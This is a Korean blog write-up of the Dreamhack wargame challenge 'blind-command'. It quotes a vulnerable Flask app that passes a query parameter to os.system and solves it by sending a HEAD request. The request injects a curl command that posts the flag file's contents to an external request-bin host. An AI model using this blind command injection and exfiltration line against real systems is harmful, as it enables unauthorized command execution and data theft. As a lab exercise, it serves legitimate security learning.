워게임/dreamhack [dreamhack] blind-command 문제풀이 - [WEB] blind-command 문제풀이 Blind Command Injection은 사용자의 입력이 시스템 명령에 사용될 수 있는 공격인 OS Command Injection의 한 종류로 시스템 명령의 수행 결과 값을 알 수 없을 때 사용하는 방법이다. 문제를 확인해보자. Read the flag file XD? 무슨 말 하는거야 한글로 해ㅡㅡ 일단 접속해보자. 오 커맨드 인젝션 문제인가보다. 진행시켜. 어라 그대로 뱉어내네. echo인건가..... 모르겠으니 일단 소스코드를 확인해보자. #!/usr/bin/env python3 from flask import Flask, request import os app = Flask(__name__) @app.route('/' , methods=['GET']) def index(): cmd = request.args.get('cmd', '') if not cmd: return "?cmd=[cmd]" if request.method == 'GET': '' else: os.system(cmd) return cmd app.run(host='0.0.0.0', port=8000) 상당히 짧은 코드인게 너무 기분좋다. 메소드가 GET이 아니면 cmd 파라미터로 전달된 값을 시스템 명령어로 실행시킨다. 일단 OPTIONS 메소드를 통해 서버에서 허용되는 메소드가 뭐뭐 있는지 확인해보자. 남은 건 HEAD 메소드 하나 뿐이다. HEAD는 GET과 동일하게 파라미터를 전송할 수 있다. 다만 응답에서는 header만 포함되기 때문에 웹 상에서 응답을 기대할 순 없다. 그렇다면 서버 내에서 시스템 명령어를 실행하고 결과 값을 외부로 전송하는 방식으로 flag를 확인해야한다. 일단 flag.txt 결과 값을 전달 받을 외부 서버를 임시로 생성한다. dreamhack tools 에서 제공하는 request bin 링크를 생성하고 해당 경로로 flag.txt를 보내보자. curl 명령어를 이용해 flag.txt의 값을 데이터 전송 옵션 v를 이용해 보내보자. cmd=curl https://fimguwk.request.dreamhack.games/ -d "$(cat flag.py)" HEAD 메소드로 cmd 파라미터 값을 통해 flag.txt 값을 외부 서버로 전송하고, 정상 응답을 확인한다. 그리고 requset bin 페이지에서 전송된 값을 확인해보자. 서버에서 POST로 전달된 flag 값이 확인된다. 문제풀이 끗 공유하기 게시글 관리 MSS '워게임 > dreamhack' 카테고리의 다른 글 [dreamhack] SuperSecure OTP 문제풀이 - 진행중 (0) 2021.07.30 [dreamhack] weblog-1 문제풀이 (0) 2021.07.22 [dreamhack] web-ssrf 문제풀이 (0) 2021.07.21 [dreamhack] web-deserialize-python 문제풀이 (0) 2021.07.07 [dreamhack] funjs 문제풀이 (0) 2021.07.06 Contents 당신이 좋아할만한 콘텐츠 [dreamhack] SuperSecure OTP 문제풀이 - 진행중 2021.07.30 [dreamhack] weblog-1 문제풀이 2021.07.22 [dreamhack] web-ssrf 문제풀이 2021.07.21 [dreamhack] web-deserialize-python 문제풀이 2021.07.07 댓글 0 + 이전 댓글 더보기